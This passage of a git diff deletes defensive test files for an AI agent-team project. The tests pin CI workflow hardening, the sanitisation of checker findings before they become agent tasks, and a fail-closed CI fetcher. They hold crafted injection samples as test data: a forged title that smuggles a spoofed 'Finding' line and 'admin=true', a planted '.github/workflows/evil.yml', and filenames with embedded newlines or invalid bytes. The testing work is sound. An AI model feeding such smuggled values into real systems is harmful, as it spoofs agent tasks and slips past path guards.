_build_coordinator(args) - coordinator.setup() - - intake = CheckerFindingIntake( - coordinator=coordinator, - threshold=args.threshold, - transport_name=args.transport, - ) - ingested = intake.ingest_reports([Path(p) for p in args.report]) - for identity in ingested: - print(identity, file=out) - if not ingested: - print( - "checker-intake: no new confirmed at/above-threshold findings to ingest", - file=sys.stderr, - ) - return 0 - - def _cmd_force_resume(args: argparse.Namespace, *, out: Any) -> int: """Force-resume a parked task's question (destructive; audit-logged). @@ -1025,46 +982,6 @@ def build_parser() -> argparse.ArgumentParser: ) p_intake.set_defaults(func=_cmd_intake_github) - p_intake_checker = sub.add_parser( - "intake-checker", - help=( - "read checker reports and start one remediation task per confirmed " - "at/above-threshold finding (P5 cross-plane loop)" - ), - ) - p_intake_checker.add_argument( - "--report", - required=True, - action="append", - metavar="PATH", - help=( - "checker report JSON file or directory of *.json reports; repeatable " - "to ingest several reports in one pass" - ), - ) - p_intake_checker.add_argument( - "--threshold", - default="high", - choices=("low", "medium", "high", "critical"), - help=( - "minimum severity a confirmed finding must reach to spawn a task " - "(default: high)" - ), - ) - p_intake_checker.add_argument( - "--transport", - choices=_TRANSPORT_CHOICES, - default="github", - help="channel for delivering clarifier questions (default: github)", - ) - p_intake_checker.add_argument( - "--dry-run", - action="store_true", - dest="dry_run", - help="use a non-posting transport (no token needed; ingest still runs)", - ) - p_intake_checker.set_defaults(func=_cmd_intake_checker) - return parser diff --git a/agent-team/tests/test_apply_verify_workflow_hardening.py b/agent-team/tests/test_apply_verify_workflow_hardening.py deleted file mode 100644 index d873d01..0000000 --- a/agent-team/tests/test_apply_verify_workflow_hardening.py +++ /dev/null @@ -1,411 +0,0 @@ -"""P3-live hardening assertions over ``ci/agent-team-apply-verify.yml``. - -These tests pin the security-critical posture of the apply/verify workflow so a -later edit cannot silently regress it: - -* NO attacker-influenceable ``${{ inputs.* }}`` / ``${{ github.event.* }}`` value - is interpolated directly into a ``run:`` block (CWE-94) — every such value must - reach a ``run`` step via an ``env:`` binding instead. -* The workflow carries NO cloud token-federation (``id-token``) and NO AWS / - cloud-OIDC references — the auth model is a GitHub App installation token. -* The privileged draft-PR step is NOT flipped live (``if: ${{ false }}``). -* The privileged job's ``pull-requests: write`` grant and ``agent-apply`` - ``environment:`` are COMMENTED OUT (provisioning-time, not live), and the job - ``if:`` guards on guard+build-test success; download-artifact steps are - run-id pinned. -* The embedded gate's empty-hash handling is fail-closed (extracted + executed). -* The three trust-control denylists (guard YAML, post-build YAML, ci_gate) are - identical (no drift), and the post-build NUL-delimited path parsing is robust. -""" - -from __future__ import annotations - -import re -import subprocess -import sys -from pathlib import Path - -import pytest - -yaml = pytest.importorskip("yaml") - -_WORKFLOW = Path(__file__).resolve().parents[1] / "ci" / "agent-team-apply-verify.yml" - - -def _doc() -> dict: - return yaml.safe_load(_WORKFLOW.read_text(encoding="utf-8")) - - -def _raw() -> str: - return _WORKFLOW.read_text(encoding="utf-8") - - -# Attacker-influenceable interpolation contexts that must NOT appear in a `run:`. -_TAINTED_RE = re.compile(r"\$\{\{\s*(inputs\.|github\.event\.)") - - -def _iter_steps(doc: dict): - for job_name, job in doc["jobs"].items(): - for step in job.get("steps", []): - yield job_name, step - - -# --------------------------------------------------------------------------- # -# CWE-94: no tainted ${{ }} interpolated directly into a run: block -# --------------------------------------------------------------------------- # - - -def test_no_tainted_interpolation_in_any_run_block() -> None: - offenders: list[str] = [] - for job_name, step in _iter_steps(_doc()): - run = step.get("run") - if not run: - continue - if _TAINTED_RE.search(run): - offenders.append(f"{job_name}: {step.get('name', '')}") - assert not offenders, ( - "tainted ${{ inputs.* / github.event.* }} interpolated into a run block " - f"(must go via env:): {offenders}" - ) - - -def test_tainted_values_are_provided_via_env() -> None: - # Where a run step USES a tainted value, it must be exposed through env: and - # referenced as a shell variable. Assert the report step binds TASK_ID in env. - doc = _doc() - report_steps = [ - s - for _, s in _iter_steps(doc) - if s.get("run") and "report.json" in (s.get("run") or "") - ] - assert report_steps, "expected the report-emitting step to exist" - for step in report_steps: - env = step.get("env") or {} - assert "TASK_ID" in env, "report step must bind task_id via env (CWE-94)" - assert "${{ inputs.task_id }}" in env["TASK_ID"] - # And the run body must NOT interpolate inputs.task_id directly. - assert "${{ inputs.task_id }}" not in step["run"] - - -# --------------------------------------------------------------------------- # -# Auth model: GitHub App token, ZERO cloud federation / AWS / OIDC -# --------------------------------------------------------------------------- # - - -def test_no_id_token_permission_anywhere() -> None: - doc = _doc() - for job_name, job in doc["jobs"].items(): - perms = job.get("permissions") - if isinstance(perms, dict): - assert "id-token" not in perms, f"{job_name} must not grant id-token" - - -def test_no_cloud_oidc_or_aws_references_in_workflow() -> None: - raw = _raw().lower() - for needle in ("id-token", "configure-aws-credentials", "aws-actions", "oidc"): - assert needle not in raw, f"workflow must not reference {needle!r}" - # Bare 'aws' as a standalone token (avoid matching words like 'always'). - assert not re.search(r"\baws\b", raw), "workflow must not reference AWS" - - -def test_uses_github_app_token_action() -> None: - raw = _raw() - assert "actions/create-github-app-token@" in raw - # Pinned by full 40-char SHA (handbook Pinning Principle). - assert re.search(r"actions/create-github-app-token@[0-9a-f]{40}\b", raw), ( - "create-github-app-token must be SHA-pinned" - ) - - -# --------------------------------------------------------------------------- # -# Draft-PR step is NOT flipped live; privileged job posture -# --------------------------------------------------------------------------- # - - -def test_draft_pr_step_is_not_flipped_live() -> None: - doc = _doc() - pr_steps = [ - s - for _, s in _iter_steps(doc) - if "draft" in (s.get("name", "").lower()) and s.get("run") - ] - assert pr_steps, "expected a draft-PR step" - for step in pr_steps: - # YAML parses `${{ false }}` to the string '${{ false }}' OR bool False - # depending on quoting; both mean "disabled". Assert it is one of those, - # never an always()/success() live condition. - cond = step.get("if") - assert cond is not None, "draft-PR step must keep an explicit if-guard" - assert str(cond).strip().startswith("${{ false }}") or cond is False, ( - f"draft-PR step must stay hard-disabled, got if: {cond!r}" - ) - - -def test_gate_job_privileged_declarations_are_commented_until_provisioning() -> None: - # BLOCK-1 / FIX-4 / QUESTION-2: privileged declarations must be - # provisioning-time, not live. `pull-requests: write` and `environment:` are - # both COMMENTED OUT until the agent-apply environment exists, so a test - # dispatch today holds ZERO privilege. Assert the live job declares neither. - job = _doc()["jobs"]["gate-and-pr"] - perms = job.get("permissions") or {} - # contents: read stays active; pull-requests must NOT be granted live. - assert perms.get("contents") == "read" - assert "pull-requests" not in perms, ( - "pull-requests: write must stay commented until provisioning" - ) - # No live environment binding. - assert job.get("environment") is None, ( - "environment: must stay commented until provisioning" - ) - - -def test_gate_job_provisioning_lines_are_present_as_comments() -> None: - # The exact deploy-gated scaffolding must remain in the file (commented) with - # the provisioning marker, so provisioning knows what to uncomment. - raw = _raw() - assert "# pull-requests: write" in raw - assert "# environment:" in raw - assert "# name: agent-apply" in raw - assert ( - raw.count( - "uncomment at provisioning AFTER the agent-apply environment is created " - "with a required reviewer" - ) - >= 2 - ) - - -def test_gate_job_if_guards_on_upstream_success() -> None: - # Defense-in-depth: the privileged job never runs on a failed/skipped/ - # cancelled guard or build-test. - job = _doc()["jobs"]["gate-and-pr"] - cond = str(job.get("if", "")) - assert "needs.guard.result == 'success'" in cond - assert "needs.build-test.result == 'success'" in cond - - -def test_download_artifact_steps_are_run_id_pinned() -> None: - doc = _doc() - dl_steps = [ - s for _, s in _iter_steps(doc) if "download-artifact" in str(s.get("uses", "")) - ] - assert len(dl_steps) >= 2, "expected both download-artifact steps" - for step in dl_steps: - with_ = step.get("with") or {} - assert with_.get("run-id") == "${{ github.run_id }}", ( - "download-artifact must pin run-id to the current run" - ) - - -def test_post_build_denied_path_check_present() -> None: - job = _doc()["jobs"]["build-test"] - names = [s.get("name", "") for s in job.get("steps", [])] - assert any("denied-path" in n.lower() for n in names), ( - "build-test must run a post-build denied-path check" - ) - - -# --------------------------------------------------------------------------- # -# Embedded gate empty-hash fail-closed (extract + execute the inline gate) -# --------------------------------------------------------------------------- # - - -def _extract_gate_script() -> str: - """Pull the LAST ``python3 - <<'PY' ... PY`` heredoc (the pure-code gate).""" - lines = _raw().splitlines() - blocks: list[tuple[int, int]] = [] - start = None - for i, line in enumerate(lines): - if start is None and line.strip() == "python3 - <<'PY'": - start = i + 1 - elif start is not None and line.strip() == "PY": - blocks.append((start, i)) - start = None - assert blocks, "no PY heredoc found" - # The gate is the one defining `def gate(`. - for s, e in blocks: - body = lines[s:e] - text = "\n".join(ln[10:] if ln.startswith(" " * 10) else ln for ln in body) - if "def gate(" in text: - return text - raise AssertionError("gate heredoc not found") - - -def _run_gate(tmp_path: Path, env_overrides: dict) -> int: - script = tmp_path / "gate.py" - script.write_text(_extract_gate_script(), encoding="utf-8") - import os - - env = dict(os.environ, **{k: str(v) for k, v in env_overrides.items()}) - result = subprocess.run( - [sys.executable, str(script)], env=env, capture_output=True, text=True - ) - return result.returncode - - -_GOOD = { - "GUARD_RESULT": "success", - "BUILD_TEST_RESULT": "success", - "DIFF_HASH": "abc", - "EXPECTED_DIFF_HASH": "abc", - "RUN_ID": "1", -} - - -def test_workflow_gate_passes_on_clean_bound_run(tmp_path: Path) -> None: - assert _run_gate(tmp_path, _GOOD) == 0 - - -def test_workflow_gate_blocks_on_both_hashes_empty(tmp_path: Path) -> None: - # The empty-hash bug: '' == '' must NOT pass. Both empty -> BLOCK. - env = dict(_GOOD, DIFF_HASH="", EXPECTED_DIFF_HASH="") - assert _run_gate(tmp_path, env) == 1 - - -def test_workflow_gate_blocks_on_empty_expected_hash(tmp_path: Path) -> None: - env = dict(_GOOD, EXPECTED_DIFF_HASH="") - assert _run_gate(tmp_path, env) == 1 - - -def test_workflow_gate_blocks_on_empty_guard_hash(tmp_path: Path) -> None: - env = dict(_GOOD, DIFF_HASH="") - assert _run_gate(tmp_path, env) == 1 - - -def test_workflow_gate_blocks_on_hash_mismatch(tmp_path: Path) -> None: - env = dict(_GOOD, DIFF_HASH="aaa", EXPECTED_DIFF_HASH="bbb") - assert _run_gate(tmp_path, env) == 1 - - -# --------------------------------------------------------------------------- # -# INJ-03: the three trust-control denylists must be identical (no drift) -# --------------------------------------------------------------------------- # - - -def _extract_deny_globs_blocks() -> list[tuple[str, ...]]: - """Extract every ``DENY_GLOBS: tuple[str, ...] = ( ... )`` tuple from the YAML. - - The guard job and the post-build job each embed one inline copy. Returns the - parsed string tuples in file order (expected: exactly two). - """ - raw = _raw() - blocks: list[tuple[str, ...]] = [] - for m in re.finditer( - r"DENY_GLOBS:\s*tuple\[str,\s*\.\.\.\]\s*=\s*\((?P.*?)\)", - raw, - re.DOTALL, - ): - body = m.group("body") - entries = re.findall(r'"([^"]*)"', body) - blocks.append(tuple(entries)) - return blocks - - -def test_three_trust_control_denylists_are_identical() -> None: - from agent_team.ci_gate import DENYLIST_GLOBS - - yaml_blocks = _extract_deny_globs_blocks() - assert len(yaml_blocks) == 2, ( - f"expected exactly two inline YAML DENY_GLOBS (guard + post-build), " - f"found {len(yaml_blocks)}" - ) - guard_globs, post_build_globs = yaml_blocks - # All three must be byte-for-byte identical (same entries, same order) so a - # future edit to one copy that drifts from the others fails CI (INJ-03). - assert guard_globs == post_build_globs == DENYLIST_GLOBS, ( - "trust-control denylists have drifted:\n" - f" guard = {guard_globs}\n" - f" post-build = {post_build_globs}\n" - f" ci_gate = {DENYLIST_GLOBS}" - ) - - -# --------------------------------------------------------------------------- # -# FIX-2 / INJ-02: robust NUL-delimited post-build denied-path parsing -# --------------------------------------------------------------------------- # - - -def _extract_post_build_script() -> str: - """Pull the ``python3 - <<'PY' ... PY`` heredoc defining ``_status_paths``.""" - lines = _raw().splitlines() - blocks: list[tuple[int, int]] = [] - start = None - for i, line in enumerate(lines): - if start is None and line.strip() == "python3 - <<'PY'": - start = i + 1 - elif start is not None and line.strip() == "PY": - blocks.append((start, i)) - start = None - for s, e in blocks: - body = lines[s:e] - text = "\n".join(ln[10:] if ln.startswith(" " * 10) else ln for ln in body) - if "_status_paths" in text: - return text - raise AssertionError("post-build NUL-parse heredoc not found") - - -def _run_post_build( - tmp_path: Path, - *, - diff_z: bytes = b"", - status_z: bytes = b"", - scope: str = "src/**", -) -> int: - import os - - script = tmp_path / "post_build.py" - script.write_text(_extract_post_build_script(), encoding="utf-8") - (tmp_path / "_build_diff_z.bin").write_bytes(diff_z) - (tmp_path / "_build_status_z.bin").write_bytes(status_z) - env = dict(os.environ, DECLARED_SCOPE=scope) - result = subprocess.run( - [sys.executable, str(script)], - env=env, - cwd=str(tmp_path), - capture_output=True, - text=True, - ) - return result.returncode - - -def test_post_build_clean_when_no_writes(tmp_path: Path) -> None: - assert _run_post_build(tmp_path) == 0 - - -def test_post_build_in_scope_untracked_is_clean(tmp_path: Path) -> None: - # `?? src/new.py\0` - status = b"?? src/new.py\x00" - assert _run_post_build(tmp_path, status_z=status, scope="src/**") == 0 - - -def test_post_build_denied_path_via_status(tmp_path: Path) -> None: - # A build hook drops a workflow file: must be caught (denied). - status = b"?? .github/workflows/evil.yml\x00" - assert _run_post_build(tmp_path, status_z=status, scope="src/**\n.github/**") == 1 - - -def test_post_build_filename_with_newline_is_caught(tmp_path: Path) -> None: - # The whole point of NUL parsing: a filename containing a NEWLINE that lands - # out of scope must still be caught, not split/mangled into a benign name. - status = b"?? src/ok.py\x00?? evil\nname.py\x00" - # 'evil\nname.py' is out of scope (src/**) -> violation. - assert _run_post_build(tmp_path, status_z=status, scope="src/**") == 1 - - -def test_post_build_rename_source_field_is_parsed(tmp_path: Path) -> None: - # porcelain v1 -z rename: `R \0\0`. The SOURCE field is a separate - # record; a rename whose SOURCE is a denied path must be caught. - status = b"R src/new.py\x00.github/workflows/old.yml\x00" - assert _run_post_build(tmp_path, status_z=status, scope="src/**\n.github/**") == 1 - - -def test_post_build_undecodable_path_fails_closed(tmp_path: Path) -> None: - # A path field that is not valid UTF-8 must be treated as a violation. - status = b"?? src/\xff\xfe.py\x00" - assert _run_post_build(tmp_path, status_z=status, scope="src/**") == 1 - - -def test_post_build_diff_z_denied_path_is_caught(tmp_path: Path) -> None: - # The tracked-diff side (git diff -z --name-only) is parsed too. - diff = b"src/app.py\x00main.tf\x00" - assert _run_post_build(tmp_path, diff_z=diff, scope="src/**") == 1 diff --git a/agent-team/tests/test_checker_intake.py b/agent-team/tests/test_checker_intake.py deleted file mode 100644 index fa0e2b6..0000000 --- a/agent-team/tests/test_checker_intake.py +++ /dev/null @@ -1,434 +0,0 @@ -"""Unit tests for agent_team.transport.checker_intake (P5 cross-plane loop). - -Fully hermetic: the coordinator is an injected in-memory fake and findings are -plain dicts (or temp report files), so no network call, token, GitHub SDK, model -or live checker is exercised. The tests pin the P5 contract: - -* a CONFIRMED finding at/above the threshold creates exactly one task, -* unconfirmed / suppressed / below-threshold findings are ignored, -* re-reading the same finding does not double-ingest (de-dup), -* the rendered task text is safe (no log/text injection from repo-controlled - fields), and -* the loop is OPT-IN — it is NOT wired into the default coordinator serve path. -""" - -from __future__ import annotations - -import importlib.util -import json -from pathlib import Path -from typing import Any - -import pytest - -from agent_team.transport.checker_intake import ( - CHECKER_TRANSPORT_NAME, - CheckerFindingIntake, - finding_identity, - finding_task_text, - load_report_findings, - select_findings, -) - -# --------------------------------------------------------------------------- # -# Fakes / builders -# --------------------------------------------------------------------------- # - - -class FakeCoordinator: - """In-memory coordinator double recording every ``start_task`` call. - - Mirrors the real coordinator's intake entry signature and captures each - call's keyword args so a test can assert exactly what was ingested. - """ - - def __init__(self) -> None: - self.calls: list[dict[str, Any]] = [] - - def start_task(self, *, task_text: str, transport_name: str) -> str: - self.calls.append({"task_text": task_text, "transport_name": transport_name}) - return f"thread-{len(self.calls)}" - - -def _finding( - *, - fid: str | None = "repo-a-branchprot-no-pr", - repo: str = "repo-a", - title: str = "main does not require a PR for merge", - severity: str = "high", - status: str = "confirmed", - check: str = "branch-protection", - proof: dict[str, Any] | None = None, -) -> dict[str, Any]: - """Build a checker-finding-shaped mapping matching the bash checker emit.""" - finding: dict[str, Any] = { - "repo": repo, - "title": title, - "severity": severity, - "category": "other", - "check": check, - "status": status, - "proof": proof if proof is not None else {"outcome": "require a PR for merges"}, - } - if fid is not None: - finding["id"] = fid - return finding - - -def _report( - findings: list[dict[str, Any]], *, checker: str = "compliance-drift" -) -> dict[str, Any]: - """Wrap findings in the top-level report object the checkers emit.""" - return { - "checker": checker, - "generated": "2026-06-18T00:00:00Z", - "org": "Sea-Haven-Industries", - "findings": findings, - } - - -# --------------------------------------------------------------------------- # -# select_findings — the gate -# --------------------------------------------------------------------------- # - - -def test_selects_confirmed_at_or_above_threshold() -> None: - findings = [ - _finding(fid="r-high", severity="high"), - _finding(fid="r-crit", severity="critical"), - ] - selected = select_findings(findings, threshold="high") - assert [f["id"] for f in selected] == ["r-high", "r-crit"] - - -def test_ignores_below_threshold() -> None: - findings = [ - _finding(fid="r-low", severity="low"), - _finding(fid="r-med", severity="medium"), - _finding(fid="r-high", severity="high"), - ] - selected = select_findings(findings, threshold="high") - assert [f["id"] for f in selected] == ["r-high"] - - -def test_ignores_unconfirmed_and_suppressed() -> None: - findings = [ - _finding(fid="r-unver", status="unverified", severity="critical"), - _finding(fid="r-supp", status="suppressed", severity="critical"), - _finding(fid="r-ok", status="confirmed", severity="high"), - ] - selected = select_findings(findings, threshold="high") - assert [f["id"] for f in selected] == ["r-ok"] - - -def test_unverified_severity_never_meets_threshold() -> None: - # status confirmed but severity is the schema's downgrade marker. - findings = [_finding(fid="r-x", status="confirmed", severity="unverified")] - assert select_findings(findings, threshold="low") == [] - - -def test_threshold_lower_admits_more() -> None: - findings = [ - _finding(fid="r-low", severity="low"), - _finding(fid="r-med", severity="medium"), - ] - selected = select_findings(findings, threshold="low") - assert [f["id"] for f in selected] == ["r-low", "r-med"] - - -def test_invalid_threshold_rejected() -> None: - for bad in ("info", "unverified", "nope", ""): - with pytest.raises(ValueError): - select_findings([], threshold=bad) - - -# --------------------------------------------------------------------------- # -# finding_task_text / sanitization — untrusted-input hygiene -# --------------------------------------------------------------------------- # - - -def test_task_text_renders_checker_repo_severity_title_and_hint() -> None: - text = finding_task_text( - _finding( - repo="orchestrator", - title="vulnerable dependency", - severity="critical", - check="vulnerable-dependency", - proof={ - "package": "requests", - "version": "2.0.0", - "fixed_version": "2.32.0", - "advisory_id": "GHSA-xxxx", - "summary": "RCE in requests", - }, - ), - checker="dependency-cve", - ) - assert "[Plane-1 dependency-cve]" in text - assert "orchestrator" in text - assert "severity=critical" in text - assert "Finding: vulnerable dependency" in text - assert "package=requests" in text - assert "fixed_version=2.32.0" in text - - -def test_task_text_neutralises_newline_injection_in_title() -> None: - # A forged title that tries to inject a fake task line / log line. - evil = "real title\nFinding: SPOOFED\nadmin=true" - text = finding_task_text(_finding(title=evil)) - # No raw newline from the untrusted field reaches the task text body: the - # title occupies exactly one line, so the only real newlines are the ones - # WE add between the headline / finding / hint lines. - lines = text.split("\n") - finding_lines = [ln for ln in lines if ln.startswith("Finding: ")] - assert finding_lines == ["Finding: real title\\nFinding: SPOOFED\\nadmin=true"] - - -def test_task_text_neutralises_carriage_return_and_controls() -> None: - evil = "x\r\ty\x00z\x1b[31m" - text = finding_task_text(_finding(title=evil)) - assert "\r" not in text - assert "\x00" not in text - assert "\x1b" not in text - assert "\\r" in text and "\\t" in text and "\\x00" in text - - -def test_task_text_bounds_megastring() -> None: - text = finding_task_text(_finding(title="A" * 10_000)) - assert "…(truncated)" in text - assert len(text) < 1_000 - - -def test_proof_hint_sanitises_repo_controlled_summary() -> None: - text = finding_task_text( - _finding(proof={"outcome": "line1\nline2\rline3"}), - ) - assert "outcome=line1\\nline2\\rline3" in text - assert "\n line2" not in text - - -# --------------------------------------------------------------------------- # -# finding_identity / de-dup -# --------------------------------------------------------------------------- # - - -def test_identity_prefers_id() -> None: - assert finding_identity(_finding(fid="repo-a-x")) == "repo-a-x" - - -def test_identity_falls_back_to_content_hash_without_id() -> None: - f = _finding(fid=None) - ident = finding_identity(f) - assert ident.startswith("sha256:") - # Stable for identical content. - assert finding_identity(_finding(fid=None)) == ident - - -# --------------------------------------------------------------------------- # -# CheckerFindingIntake.ingest_findings — the core contract -# --------------------------------------------------------------------------- # - - -def test_confirmed_finding_creates_exactly_one_task() -> None: - coordinator = FakeCoordinator() - intake = CheckerFindingIntake(coordinator=coordinator) - ingested = intake.ingest_findings([_finding(fid="repo-a-x")]) - - assert ingested == ["repo-a-x"] - assert len(coordinator.calls) == 1 - call = coordinator.calls[0] - assert call["transport_name"] == CHECKER_TRANSPORT_NAME - assert "repo-a" in call["task_text"] - - -def test_below_threshold_and_unconfirmed_ignored_by_intake() -> None: - coordinator = FakeCoordinator() - intake = CheckerFindingIntake(coordinator=coordinator) - ingested = intake.ingest_findings( - [ - _finding(fid="r-low", severity="low"), - _finding(fid="r-unver", status="unverified", severity="critical"), - _finding(fid="r-ok", severity="high"), - ] - ) - assert ingested == ["r-ok"] - assert len(coordinator.calls) == 1 - - -def test_repeated_finding_does_not_double_ingest() -> None: - coordinator = FakeCoordinator() - intake = CheckerFindingIntake(coordinator=coordinator) - - first = intake.ingest_findings([_finding(fid="repo-a-x")]) - second = intake.ingest_findings([_finding(fid="repo-a-x")]) - - assert first == ["repo-a-x"] - assert second == [] # already ingested -> no second task - assert len(coordinator.calls) == 1 - assert intake.ingested_ids == frozenset({"repo-a-x"}) - - -def test_dedup_within_single_batch() -> None: - coordinator = FakeCoordinator() - intake = CheckerFindingIntake(coordinator=coordinator) - # Same finding present twice in one report batch. - ingested = intake.ingest_findings( - [_finding(fid="repo-a-x"), _finding(fid="repo-a-x")] - ) - assert ingested == ["repo-a-x"] - assert len(coordinator.calls) == 1 - - -def test_new_finding_on_second_pass_is_ingested() -> None: - coordinator = FakeCoordinator() - intake = CheckerFindingIntake(coordinator=coordinator) - - first = intake.ingest_findings([_finding(fid="repo-a-x")]) - second = intake.ingest_findings( - [_finding(fid="repo-a-x"), _finding(fid="repo-b-y", repo="repo-b")] - ) - assert first == ["repo-a-x"] - assert second == ["repo-b-y"] - assert len(coordinator.calls) == 2 - - -def test_custom_threshold_admits_medium() -> None: - coordinator = FakeCoordinator() - intake = CheckerFindingIntake(coordinator=coordinator, threshold="medium") - ingested = intake.ingest_findings([_finding(fid="r-med", severity="medium")]) - assert ingested == ["r-med"] - - -def test_failed_start_task_leaves_finding_eligible_for_retry() -> None: - class FlakyCoordinator: - def __init__(self) -> None: - self.attempts = 0 - - def start_task(self, *, task_text: str, transport_name: str) -> str: - self.attempts += 1 - if self.attempts == 1: - raise RuntimeError("transient intake failure") - return "thread-ok" - - coordinator = FlakyCoordinator() - intake = CheckerFindingIntake(coordinator=coordinator) - - with pytest.raises(RuntimeError): - intake.ingest_findings([_finding(fid="repo-a-x")]) - assert intake.ingested_ids == frozenset() # not recorded -> retryable - - ingested = intake.ingest_findings([_finding(fid="repo-a-x")]) - assert ingested == ["repo-a-x"] - assert coordinator.attempts == 2 - - -def test_invalid_threshold_rejected_at_construction() -> None: - with pytest.raises(ValueError): - CheckerFindingIntake(coordinator=FakeCoordinator(), threshold="bogus") - - -# --------------------------------------------------------------------------- # -# load_report_findings / ingest_reports — report-file path -# --------------------------------------------------------------------------- # - - -def test_load_report_findings_reads_top_level_object(tmp_path: Path) -> None: - report = tmp_path / "compliance-drift.json" - report.write_text(json.dumps(_report([_finding(fid="repo-a-x")])), encoding="utf-8") - findings = load_report_findings(report) - assert [f["id"] for f in findings] == ["repo-a-x"] - - -def test_load_report_findings_accepts_bare_array(tmp_path: Path) -> None: - report = tmp_path / "bare.json" - report.write_text(json.dumps([_finding(fid="repo-a-x")]), encoding="utf-8") - assert [f["id"] for f in load_report_findings(report)] == ["repo-a-x"] - - -def test_load_report_findings_reads_directory_of_reports(tmp_path: Path) -> None: - (tmp_path / "a.json").write_text( - json.dumps(_report([_finding(fid="repo-a-x")])), encoding="utf-8" - ) - (tmp_path / "b.json").write_text( - json.dumps(_report([_finding(fid="repo-b-y", repo="repo-b")])), - encoding="utf-8", - ) - ids = sorted(f["id"] for f in load_report_findings(tmp_path)) - assert ids == ["repo-a-x", "repo-b-y"] - - -def test_ingest_reports_selects_dedups_across_files(tmp_path: Path) -> None: - # Two reports both carrying the same high finding plus a unique one each. - (tmp_path / "a.json").write_text( - json.dumps( - _report( - [ - _finding(fid="shared", severity="high"), - _finding(fid="only-a", repo="repo-a"), - _finding(fid="low-a", severity="low"), - ] - ) - ), - encoding="utf-8", - ) - (tmp_path / "b.json").write_text( - json.dumps( - _report([_finding(fid="shared", severity="high"), _finding(fid="only-b")]) - ), - encoding="utf-8", - ) - coordinator = FakeCoordinator() - intake = CheckerFindingIntake(coordinator=coordinator) - ingested = intake.ingest_reports([tmp_path]) - - assert sorted(ingested) == ["only-a", "only-b", "shared"] - assert len(coordinator.calls) == 3 # low-a dropped, shared once - - -def test_empty_report_file_yields_nothing(tmp_path: Path) -> None: - report = tmp_path / "empty.json" - report.write_text("", encoding="utf-8") - assert load_report_findings(report) == [] - - -# --------------------------------------------------------------------------- # -# OPT-IN: not wired into the default serve path -# --------------------------------------------------------------------------- # - - -def _load_run_team(): - """Import run-team.py (hyphenated, so loaded by path) as a module.""" - cli_path = Path(__file__).resolve().parent.parent / "run-team.py" - spec = importlib.util.spec_from_file_location("run_team_cli", cli_path) - assert spec is not None and spec.loader is not None - module = importlib.util.module_from_spec(spec) - spec.loader.exec_module(module) - return module - - -def test_intake_checker_is_a_subcommand_not_the_default() -> None: - cli = _load_run_team() - parser = cli.build_parser() - # The subcommand exists... - args = parser.parse_args( - ["intake-checker", "--report", "/tmp/x.json", "--threshold", "high"] - ) - assert args.func is cli._cmd_intake_checker - assert args.command == "intake-checker" - - -def test_serve_path_does_not_invoke_checker_intake() -> None: - """The always-on serve loop must not reference checker intake (opt-in only).""" - cli = _load_run_team() - import inspect - - serve_src = inspect.getsource(cli._cmd_serve) - assert "checker" not in serve_src.lower() - assert "CheckerFindingIntake" not in serve_src - - # And coordinator.serve itself does not pull in the checker intake module. - from agent_team import coordinator as coordinator_mod - - coord_src = inspect.getsource(coordinator_mod.Coordinator.serve) - assert "checker_intake" not in coord_src - assert "CheckerFindingIntake" not in coord_src diff --git a/agent-team/tests/test_ci_fetcher.py b/agent-team/tests/test_ci_fetcher.py deleted file mode 100644 index 31edc68..0000000 --- a/agent-team/tests/test_ci_fetcher.py +++ /dev/null @@ -1,357 +0,0 @@ -"""Unit tests for agent_team.ci_fetcher — the read-only, fail-closed CI fetcher. - -The fetcher is a pure DATA seam: on a clean authenticated run it returns the -``{run_id, conclusion, diff_hash}`` mapping the pure-code gate consumes; on ANY -error (404 / auth fail / malformed body / timeout / missing run_id / missing -token) it returns ``None`` so the gate BLOCKs (fail-closed). It NEVER derives a -verdict and NEVER writes. Everything is mocked with a fake HTTP client; no -network, no real token. -""" - -from __future__ import annotations - -import pytest - -from agent_team.ci_fetcher import ( - CI_READ_TOKEN_ENV, - build_ci_result_fetcher, - fetch_ci_result, -) - - -class _FakeResponse: - def __init__(self, status: int, body): - self.status_code = status - self._body = body - - def json(self): - if isinstance(self._body, Exception): - raise self._body - return self._body - - -class _FakeClient: - """A requests-like client recording calls; raises only write verbs if asked.""" - - def __init__(self, response=None, raise_exc=None): - self._response = response - self._raise = raise_exc - self.calls: list[tuple[str, dict]] = [] - - def get(self, url, *, timeout=None): - self.calls.append((url, {"timeout": timeout})) - if self._raise is not None: - raise self._raise - return self._response - - # If the fetcher ever tried to write, these would record it — they must not - # be called (the fetcher is read-only). - def post(self, *a, **k): # pragma: no cover - must never be called - raise AssertionError("ci_fetcher must never POST") - - def patch(self, *a, **k): # pragma: no cover - must never be called - raise AssertionError("ci_fetcher must never PATCH") - - -def _state(run_id="123", diff_hash="abc123"): - return {"run_id": run_id, "diff_hash": diff_hash} - - -# --------------------------------------------------------------------------- # -# Success path -# --------------------------------------------------------------------------- # - - -def test_success_returns_correct_mapping() -> None: - client = _FakeClient( - _FakeResponse(200, {"id": 123, "conclusion": "success", "status": "completed"}) - ) - out = fetch_ci_result(_state(), owner="o", repo="r", client=client) - assert out == {"run_id": "123", "conclusion": "success", "diff_hash": "abc123"} - # It hit the runs endpoint for the right run, read-only. - assert client.calls[0][0].endswith("/repos/o/r/actions/runs/123") - - -def test_failure_conclusion_is_echoed_not_judged() -> None: - # The fetcher returns the raw conclusion; it does NOT decide pass/fail. - client = _FakeClient(_FakeResponse(200, {"id": 5, "conclusion": "failure"})) - out = fetch_ci_result(_state(run_id="5"), owner="o", repo="r", client=client) - assert out is not None - assert out["conclusion"] == "failure" # echoed verbatim, no verdict derived - - -def test_diff_hash_echoed_from_state() -> None: - client = _FakeClient(_FakeResponse(200, {"id": 9, "conclusion": "success"})) - out = fetch_ci_result( - {"run_id": "9", "diff_hash": "DEADBEEF"}, owner="o", repo="r", client=client - ) - assert out["diff_hash"] == "DEADBEEF" - - -def test_run_id_read_from_state_drives_url() -> None: - client = _FakeClient(_FakeResponse(200, {"id": 777, "conclusion": "success"})) - fetch_ci_result(_state(run_id="777"), owner="acme", repo="svc", client=client) - assert client.calls[0][0].endswith("/repos/acme/svc/actions/runs/777") - - -# --------------------------------------------------------------------------- # -# Fail-closed paths (every error -> None) -# --------------------------------------------------------------------------- # - - -def test_404_fails_closed() -> None: - client = _FakeClient(_FakeResponse(404, {"message": "Not Found"})) - assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None - - -def test_auth_fail_401_fails_closed() -> None: - client = _FakeClient(_FakeResponse(401, {"message": "Bad credentials"})) - assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None - - -def test_forbidden_403_fails_closed() -> None: - client = _FakeClient(_FakeResponse(403, {"message": "forbidden"})) - assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None - - -def 